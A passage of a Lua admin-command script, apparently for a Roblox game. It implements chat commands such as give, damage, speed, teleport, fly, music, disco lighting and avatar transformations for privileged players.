  1066. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1067. end
  1068. end
  1069. end
  1070. end))
  1071. end
  1072. end
  1073.  
  1074. if msg:lower():sub(1,5) == "give " then
  1075. local chk1 = msg:lower():sub(6):find(" ") + 5
  1076. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1077. for i, v in pairs(plrz) do
  1078. coroutine.resume(coroutine.create(function()
  1079. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1080. for a, tool in pairs(game.Lighting:children()) do
  1081. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1082. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1083. end
  1084. end
  1085. end
  1086. end))
  1087. end
  1088. end
  1089.  
  1090. if msg:lower():sub(1,12) == "removetools " then
  1091. local plrz = GetPlr(plr, msg:lower():sub(13))
  1092. for i, v in pairs(plrz) do
  1093. coroutine.resume(coroutine.create(function()
  1094. if v and v.Character and v:findFirstChild("Backpack") then
  1095. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1096. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1097. end
  1098. end))
  1099. end
  1100. end
  1101.  
  1102. if msg:lower():sub(1,5) == "rank " then
  1103. local chk1 = msg:lower():sub(6):find(" ") + 5
  1104. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1105. for i, v in pairs(plrz) do
  1106. coroutine.resume(coroutine.create(function()
  1107. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1108. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1109. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1110. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1111. end
  1112. end))
  1113. end
  1114. end
  1115.  
  1116. if msg:lower():sub(1,7) == "damage " then
  1117. local chk1 = msg:lower():sub(8):find(" ") + 7
  1118. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1119. for i, v in pairs(plrz) do
  1120. coroutine.resume(coroutine.create(function()
  1121. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1122. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1123. end
  1124. end))
  1125. end
  1126. end
  1127.  
  1128. if msg:lower():sub(1,5) == "grav " then
  1129. local plrz = GetPlr(plr, msg:lower():sub(6))
  1130. for i, v in pairs(plrz) do
  1131. coroutine.resume(coroutine.create(function()
  1132. if v and v.Character and v.Character:findFirstChild("Torso") then
  1133. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1134. end
  1135. end))
  1136. end
  1137. end
  1138.  
  1139. if msg:lower():sub(1,8) == "setgrav " then
  1140. local chk1 = msg:lower():sub(9):find(" ") + 8
  1141. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1142. for i, v in pairs(plrz) do
  1143. coroutine.resume(coroutine.create(function()
  1144. if v and v.Character and v.Character:findFirstChild("Torso") then
  1145. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1146. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1147. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1148. end
  1149. end))
  1150. end
  1151. end
  1152.  
  1153. if msg:lower():sub(1,7) == "nograv " then
  1154. local plrz = GetPlr(plr, msg:lower():sub(8))
  1155. for i, v in pairs(plrz) do
  1156. coroutine.resume(coroutine.create(function()
  1157. if v and v.Character and v.Character:findFirstChild("Torso") then
  1158. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1159. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1160. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1161. end
  1162. end))
  1163. end
  1164. end
  1165.  
  1166. if msg:lower():sub(1,7) == "health " then
  1167. local chk1 = msg:lower():sub(8):find(" ") + 7
  1168. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1169. for i, v in pairs(plrz) do
  1170. coroutine.resume(coroutine.create(function()
  1171. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1172. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1173. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1174. end
  1175. end))
  1176. end
  1177. end
  1178.  
  1179. if msg:lower():sub(1,6) == "speed " then
  1180. local chk1 = msg:lower():sub(7):find(" ") + 6
  1181. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1182. for i, v in pairs(plrz) do
  1183. coroutine.resume(coroutine.create(function()
  1184. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1185. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1186. end
  1187. end))
  1188. end
  1189. end
  1190.  
  1191. if msg:lower():sub(1,5) == "team " then
  1192. local chk1 = msg:lower():sub(6):find(" ") + 5
  1193. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1194. for i, v in pairs(plrz) do
  1195. coroutine.resume(coroutine.create(function()
  1196. if v and game:findFirstChild("Teams") then
  1197. for a, tm in pairs(game.Teams:children()) do
  1198. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1199. end
  1200. end
  1201. end))
  1202. end
  1203. end
  1204.  
  1205. if msg:lower():sub(1,6) == "place " then
  1206. local chk1 = msg:lower():sub(7):find(" ") + 6
  1207. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1208. for i, v in pairs(plrz) do
  1209. coroutine.resume(coroutine.create(function()
  1210. if v and v:findFirstChild("PlayerGui") then
  1211. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1212. end
  1213. end))
  1214. end
  1215. end
  1216.  
  1217. if msg:lower():sub(1,3) == "tp " then
  1218. local chk1 = msg:lower():sub(4):find(" ") + 3
  1219. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1220. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1221. for i, v in pairs(plrz) do
  1222. coroutine.resume(coroutine.create(function()
  1223. for i2, v2 in pairs(plrz2) do
  1224. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1225. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1226. end
  1227. end
  1228. end))
  1229. end
  1230. end
  1231.  
  1232. if msg:lower():sub(1,7) == "change " then
  1233. local chk1 = msg:lower():sub(8):find(" ") + 7
  1234. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1235. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1236. for i, v in pairs(plrz) do
  1237. coroutine.resume(coroutine.create(function()
  1238. if v and v:findFirstChild("leaderstats") then
  1239. for a, st in pairs(v.leaderstats:children()) do
  1240. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1241. end
  1242. end
  1243. end))
  1244. end
  1245. end
  1246.  
  1247. if msg:lower():sub(1,6) == "shirt " then
  1248. local chk1 = msg:lower():sub(7):find(" ") + 6
  1249. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1250. for i, v in pairs(plrz) do
  1251. coroutine.resume(coroutine.create(function()
  1252. if v and v.Character then
  1253. for i,v in pairs(v.Character:children()) do
  1254. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1255. end
  1256. end
  1257. end))
  1258. end
  1259. end
  1260.  
  1261. if msg:lower():sub(1,6) == "pants " then
  1262. local chk1 = msg:lower():sub(7):find(" ") + 6
  1263. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1264. for i, v in pairs(plrz) do
  1265. coroutine.resume(coroutine.create(function()
  1266. if v and v.Character then
  1267. for i,v in pairs(v.Character:children()) do
  1268. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1269. end
  1270. end
  1271. end))
  1272. end
  1273. end
  1274.  
  1275. if msg:lower():sub(1,5) == "face " then
  1276. local chk1 = msg:lower():sub(6):find(" ") + 5
  1277. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1278. for i, v in pairs(plrz) do
  1279. coroutine.resume(coroutine.create(function()
  1280. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1281. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1282. end
  1283. end))
  1284. end
  1285. end
  1286.  
  1287. ---------------------
  1288. -- FunCommands --
  1289. ---------------------
  1290. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1291.  
  1292. if msg:lower():sub(1,8) == "swagify " then
  1293. local plrz = GetPlr(plr, msg:lower():sub(9))
  1294. for i, v in pairs(plrz) do
  1295. coroutine.resume(coroutine.create(function()
  1296. if v and v.Character then
  1297. for i,v in pairs(v.Character:children()) do
  1298. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1299. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1300. end
  1301. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1302. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1303. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1304. local torso = plr.Character.Torso
  1305. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1306. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1307. p.Size = Vector3.new(.2,.2,.2)
  1308. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1309. local motor1 = Instance.new("Motor", p)
  1310. motor1.Part0 = p
  1311. motor1.Part1 = torso
  1312. motor1.MaxVelocity = .01
  1313. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1314. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1315. local wave = false
  1316. repeat wait(1/44)
  1317. local ang = 0.1
  1318. local oldmag = torso.Velocity.magnitude
  1319. local mv = .002
  1320. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1321. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1322. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1323. motor1.DesiredAngle = -ang
  1324. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1325. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1326. if torso.Velocity.magnitude < .1 then wait(.1) end
  1327. until not p or p.Parent ~= torso.Parent
  1328. script:Destroy()
  1329. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1330. end
  1331. end))
  1332. end
  1333. end
  1334.  
  1335. if msg:lower():sub(1,6) == "music " then
  1336. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1337. local id = msg:sub(7)
  1338. local pitch = 1
  1339. if tostring(id):lower():find("caramell") then id = 2303479 end
  1340. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1341. if tostring(id):find("rick") then id = 2027611 end
  1342. if tostring(id):find("halo") then id = 1034065 end
  1343. if tostring(id):find("pokemon") then id = 1372261 end
  1344. if tostring(id):find("cursed") then id = 1372257 end
  1345. if tostring(id):find("extreme") then id = 11420933 end
  1346. if tostring(id):find("awaken") then id = 27697277 end
  1347. if tostring(id):find("alone") then id = 27697392 end
  1348. if tostring(id):find("mario") then id = 1280470 end
  1349. if tostring(id):find("choir") then id = 1372258 end
  1350. if tostring(id):find("chrono") then id = 1280463 end
  1351. if tostring(id):find("dotr") then id = 11420922 end
  1352. if tostring(id):find("entertain") then id = 27697267 end
  1353. if tostring(id):find("fantasy") then id = 1280473 end
  1354. if tostring(id):find("final") then id = 1280414 end
  1355. if tostring(id):find("emblem") then id = 1372259 end
  1356. if tostring(id):find("flight") then id = 27697719 end
  1357. if tostring(id):find("banjo") then id = 27697298 end
  1358. if tostring(id):find("gothic") then id = 27697743 end
  1359. if tostring(id):find("hiphop") then id = 27697735 end
  1360. if tostring(id):find("intro") then id = 27697707 end
  1361. if tostring(id):find("mule") then id = 1077604 end
  1362. if tostring(id):find("film") then id = 27697713 end
  1363. if tostring(id):find("nezz") then id = 8610025 end
  1364. if tostring(id):find("angel") then id = 1372260 end
  1365. if tostring(id):find("resist") then id = 27697234 end
  1366. if tostring(id):find("schala") then id = 5985787 end
  1367. if tostring(id):find("organ") then id = 11231513 end
  1368. if tostring(id):find("tunnel") then id = 9650822 end
  1369. if tostring(id):find("spanish") then id = 5982975 end
  1370. if tostring(id):find("venom") then id = 1372262 end
  1371. if tostring(id):find("wind") then id = 1015394 end
  1372. if tostring(id):find("guitar") then id = 5986151 end
  1373. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1374. end
  1375.  
  1376. if msg:lower() == "stopmusic" then
  1377. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1378. end
  1379.  
  1380. if msg:lower() == "musiclist" then
  1381. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1382. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1383. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1384. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1385. end
  1386.  
  1387. if msg:lower():sub(1,4) == "fly " then
  1388. local plrz = GetPlr(plr, msg:lower():sub(5))
  1389. for i, v in pairs(plrz) do
  1390. coroutine.resume(coroutine.create(function()
  1391. if v and v:findFirstChild("PlayerGui") then
  1392. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1393. local mouse = game.Players.LocalPlayer:GetMouse()
  1394. repeat wait() until mouse
  1395. local plr = game.Players.LocalPlayer
  1396. local torso = plr.Character.Torso
  1397. local flying = true
  1398. local deb = true
  1399. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  1400. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1401. local maxspeed = 50
  1402. local speed = 0
  1403. function Fly()
  1404. local bg = Instance.new("BodyGyro", torso)
  1405. bg.P = 9e4
  1406. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  1407. bg.cframe = torso.CFrame
  1408. local bv = Instance.new("BodyVelocity", torso)
  1409. bv.velocity = Vector3.new(0,0.1,0)
  1410. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  1411. repeat wait()
  1412. plr.Character.Humanoid.PlatformStand = true
  1413. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  1414. speed = speed+.5+(speed/maxspeed)
  1415. if speed > maxspeed then
  1416. speed = maxspeed
  1417. end
  1418. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  1419. speed = speed-1
  1420. if speed < 0 then
  1421. speed = 0
  1422. end
  1423. end
  1424. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  1425. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1426. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  1427. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  1428. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1429. else
  1430. bv.velocity = Vector3.new(0,0.1,0)
  1431. end
  1432. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  1433. until not flying
  1434. ctrl = {f = 0, b = 0, l = 0, r = 0}
  1435. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1436. speed = 0
  1437. bg:Destroy()
  1438. bv:Destroy()
  1439. plr.Character.Humanoid.PlatformStand = false
  1440. end
  1441. mouse.KeyDown:connect(function(key)
  1442. if key:lower() == "e" then
  1443. if flying then flying = false
  1444. else
  1445. flying = true
  1446. Fly()
  1447. end
  1448. elseif key:lower() == "w" then
  1449. ctrl.f = 1
  1450. elseif key:lower() == "s" then
  1451. ctrl.b = -1
  1452. elseif key:lower() == "a" then
  1453. ctrl.l = -1
  1454. elseif key:lower() == "d" then
  1455. ctrl.r = 1
  1456. end
  1457. end)
  1458. mouse.KeyUp:connect(function(key)
  1459. if key:lower() == "w" then
  1460. ctrl.f = 0
  1461. elseif key:lower() == "s" then
  1462. ctrl.b = 0
  1463. elseif key:lower() == "a" then
  1464. ctrl.l = 0
  1465. elseif key:lower() == "d" then
  1466. ctrl.r = 0
  1467. end
  1468. end)
  1469. Fly()]]
  1470. cl.Parent = v.PlayerGui cl.Disabled = false
  1471. end
  1472. end))
  1473. end
  1474. end
  1475.  
  1476. if msg:lower():sub(1,6) == "unfly " then
  1477. local plrz = GetPlr(plr, msg:lower():sub(7))
  1478. for i, v in pairs(plrz) do
  1479. coroutine.resume(coroutine.create(function()
  1480. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1481. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1482. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1483. wait(.1) v.Character.Humanoid.PlatformStand = false
  1484. end
  1485. end))
  1486. end
  1487. end
  1488.  
  1489. if msg:lower() == "disco" then
  1490. for i, v in pairs(lobjs) do v:Destroy() end
  1491. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1492. game.Lighting.Ambient = color
  1493. game.Lighting.FogColor = color
  1494. until nil]]
  1495. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1496. end
  1497.  
  1498. if msg:lower() == "flash" then
  1499. for i, v in pairs(lobjs) do v:Destroy() end
  1500. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1501. game.Lighting.Ambient = Color3.new(1,1,1)
  1502. game.Lighting.FogColor = Color3.new(1,1,1)
  1503. game.Lighting.Brightness = 1
  1504. game.Lighting.TimeOfDay = 14
  1505. wait(.1)
  1506. game.Lighting.Ambient = Color3.new(0,0,0)
  1507. game.Lighting.FogColor = Color3.new(0,0,0)
  1508. game.Lighting.Brightness = 0
  1509. game.Lighting.TimeOfDay = 0
  1510. until nil]]
  1511. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1512. end
  1513.  
  1514. if msg:lower():sub(1,5) == "spin " then
  1515. local plrz = GetPlr(plr, msg:lower():sub(6))
  1516. for i, v in pairs(plrz) do
  1517. coroutine.resume(coroutine.create(function()
  1518. if v and v.Character and v.Character:findFirstChild("Torso") then
  1519. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1520. local torso = v.Character:findFirstChild("Torso")
  1521. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1522. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1523. until not bg or bg.Parent ~= torso
  1524. end
  1525. end))
  1526. end
  1527. end
  1528.  
  1529. if msg:lower():sub(1,7) == "unspin " then
  1530. local plrz = GetPlr(plr, msg:lower():sub(8))
  1531. for i, v in pairs(plrz) do
  1532. coroutine.resume(coroutine.create(function()
  1533. if v and v.Character and v.Character:findFirstChild("Torso") then
  1534. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1535. end
  1536. end))
  1537. end
  1538. end
  1539.  
  1540. if msg:lower():sub(1,4) == "dog " then
  1541. local plrz = GetPlr(plr, msg:lower():sub(5))
  1542. for i, v in pairs(plrz) do
  1543. coroutine.resume(coroutine.create(function()
  1544. if v and v.Character and v.Character:findFirstChild("Torso") then
  1545. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1546. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1547. v.Character.Torso.Transparency = 1
  1548. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1549. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1550. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1551. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1552. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1553. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1554. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1555. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1556. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1557. end
  1558. end))
  1559. end
  1560. end
  1561.  
  1562. if msg:lower():sub(1,6) == "undog " then
  1563. local plrz = GetPlr(plr, msg:lower():sub(7))
  1564. for i, v in pairs(plrz) do
  1565. coroutine.resume(coroutine.create(function()
  1566. if v and v.Character and v.Character:findFirstChild("Torso") then
  1567. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1568. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1569. v.Character.Torso.Transparency = 0
  1570. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1571. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1572. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1573. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1574. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1575. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1576. end
  1577. end))
  1578. end
  1579. end
  1580.  
  1581. if msg:lower():sub(1,8) == "creeper " then
  1582. local plrz = GetPlr(plr, msg:lower():sub(9))
  1583. for i, v in pairs(plrz) do
  1584. coroutine.resume(coroutine.create(function()
  1585. if v and v.Character and v.Character:findFirstChild("Torso") then
  1586. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1587. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1588. v.Character.Torso.Transparency = 0
  1589. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1590. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1591. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1592. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1593. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1594. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1595. end
  1596. end))
  1597. end
  1598. end
  1599.  
  1600. if msg:lower():sub(1,10) == "uncreeper " then
  1601. local plrz = GetPlr(plr, msg:lower():sub(11))
  1602. for i, v in pairs(plrz) do
  1603. coroutine.resume(coroutine.create(function()
  1604. if v and v.Character and v.Character:findFirstChild("Torso") then
  1605. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1606. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1607. v.Character.Torso.Transparency = 0
  1608. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1609. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1610. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1611. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1612. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1613. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1614. end
  1615. end))
  1616. end
  1617. end
  1618.  
  1619. if msg:lower():sub(1,8) == "bighead " then
  1620. local plrz = GetPlr(plr, msg:lower():sub(9))
  1621. for i, v in pairs(plrz) do
  1622. coroutine.resume(coroutine.create(function()
  1623. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1624. end))
  1625. end
  1626. end
  1627.  
  1628. if msg:lower():sub(1,9) == "minihead " then
  1629. local plrz = GetPlr(plr, msg:lower():sub(10))
  1630. for i, v in pairs(plrz) do
  1631. coroutine.resume(coroutine.create(function()
